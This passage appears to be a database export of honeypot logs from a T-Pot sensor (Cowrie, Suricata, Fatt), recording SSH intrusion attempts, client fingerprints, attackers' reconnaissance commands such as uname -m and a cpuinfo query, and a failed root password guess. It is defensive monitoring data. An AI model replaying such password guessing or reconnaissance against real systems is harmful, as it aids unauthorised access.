29147	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:25.786993+03	2021-09-20 14:30:03.755525+03	{"_id": "eAbyAnwBvYTbRNuETDNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "1.117.219.217", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.516526460647583, "duplicate": true, "timestamp": "2021-09-20T11:23:25.786993Z", "@timestamp": "2021-09-20T11:23:25.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29148	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:26.186053+03	2021-09-20 14:30:03.757523+03	{"_id": "fQbyAnwBvYTbRNuEUDNA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:26.186053Z", "@timestamp": "2021-09-20T11:23:26.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29149	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:27.980407+03	2021-09-20 14:30:03.758524+03	{"_id": "gQbyAnwBvYTbRNuEVDMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:27.980407Z", "@timestamp": "2021-09-20T11:23:27.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29150	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:27.980945+03	2021-09-20 14:30:03.759525+03	{"_id": "ggbyAnwBvYTbRNuEVDMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:27.980945Z", "@timestamp": "2021-09-20T11:23:27.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29151	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:25.271104+03	2021-09-20 14:30:03.760524+03	{"_id": "egbyAnwBvYTbRNuETDNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:25.271104Z", "@timestamp": "2021-09-20T11:23:25.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29152	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:26.692546+03	2021-09-20 14:30:03.761523+03	{"_id": "fAbyAnwBvYTbRNuEUDNA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "1.117.219.217", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.506610631942749, "duplicate": true, "timestamp": "2021-09-20T11:23:26.692546Z", "@timestamp": "2021-09-20T11:23:26.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29153	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:26.1866+03	2021-09-20 14:30:03.762523+03	{"_id": "fgbyAnwBvYTbRNuEUDNA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:26.186600Z", "@timestamp": "2021-09-20T11:23:26.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29154	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:27.095198+03	2021-09-20 14:30:03.763523+03	{"_id": "fwbyAnwBvYTbRNuEVDMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:27.095198Z", "@timestamp": "2021-09-20T11:23:27.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29155	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:23:35.217427+03	2021-09-20 14:30:03.764524+03	{"_id": "qAbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "d9a6beab05ba", "@version": "1", "duration": 17.430663585662842, "timestamp": "2021-09-20T11:23:35.217427Z", "@timestamp": "2021-09-20T11:23:35.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29156	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:35.626355+03	2021-09-20 14:30:03.766523+03	{"_id": "rgbyAnwBvYTbRNuEczNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "1.117.219.217", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5083217620849609, "duplicate": true, "timestamp": "2021-09-20T11:23:35.626355Z", "@timestamp": "2021-09-20T11:23:35.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29157	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:23:35.42573+03	2021-09-20 14:30:03.768524+03	{"_id": "rAbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c767b30d40da", "@version": "1", "timestamp": "2021-09-20T11:23:35.425730Z", "@timestamp": "2021-09-20T11:23:35.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29158	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:23:36.399206+03	2021-09-20 14:30:03.769524+03	{"_id": "sAbyAnwBvYTbRNuEdTMk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 138207471109671, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43150, "dest_port": 22, "timestamp": "2021-09-20T11:23:36.399206Z", "@timestamp": "2021-09-20T11:23:36.399Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29159	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:23:36.34847+03	2021-09-20 14:30:03.771524+03	{"_id": "vgbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:43150 (192.168.176.2:22) [session: 94bf932ebc06]", "session": "94bf932ebc06", "@version": "1", "protocol": "ssh", "src_port": 43150, "dest_port": 22, "timestamp": "2021-09-20T11:23:36.348470Z", "@timestamp": "2021-09-20T11:23:36.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29160	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:23:36.952255+03	2021-09-20 14:30:03.772524+03	{"_id": "vwbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:46551 (192.168.176.2:22) [session: a001dced7dcf]", "session": "a001dced7dcf", "@version": "1", "protocol": "ssh", "src_port": 46551, "dest_port": 22, "timestamp": "2021-09-20T11:23:36.952255Z", "@timestamp": "2021-09-20T11:23:36.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29161	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:23:36.351494+03	2021-09-20 14:30:03.773524+03	{"_id": "wAbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "94bf932ebc06", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:36.351494Z", "@timestamp": "2021-09-20T11:23:36.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29162	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:23:36.401597+03	2021-09-20 14:30:03.775523+03	{"_id": "wQbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "94bf932ebc06", "@version": "1", "timestamp": "2021-09-20T11:23:36.401597Z", "@timestamp": "2021-09-20T11:23:36.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29163	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:36.507623+03	2021-09-20 14:30:03.776524+03	{"_id": "wgbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "1.117.219.217", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5099408626556396, "duplicate": true, "timestamp": "2021-09-20T11:23:36.507623Z", "@timestamp": "2021-09-20T11:23:36.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29164	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:23:36.65368+03	2021-09-20 14:30:03.777523+03	{"_id": "wwbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [root/Qwert!2345] failed", "session": "c767b30d40da", "@version": "1", "password": "Qwert!2345", "username": "root", "timestamp": "2021-09-20T11:23:36.653680Z", "@timestamp": "2021-09-20T11:23:36.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29166	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:36.848051+03	2021-09-20 14:30:03.780524+03	{"_id": "xQbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:36.848051Z", "@timestamp": "2021-09-20T11:23:36.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29167	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:36.84863+03	2021-09-20 14:30:03.781523+03	{"_id": "xgbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:36.848630Z", "@timestamp": "2021-09-20T11:23:36.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29168	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:37.604325+03	2021-09-20 14:30:03.782524+03	{"_id": "xwbyAnwBvYTbRNuEejNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": 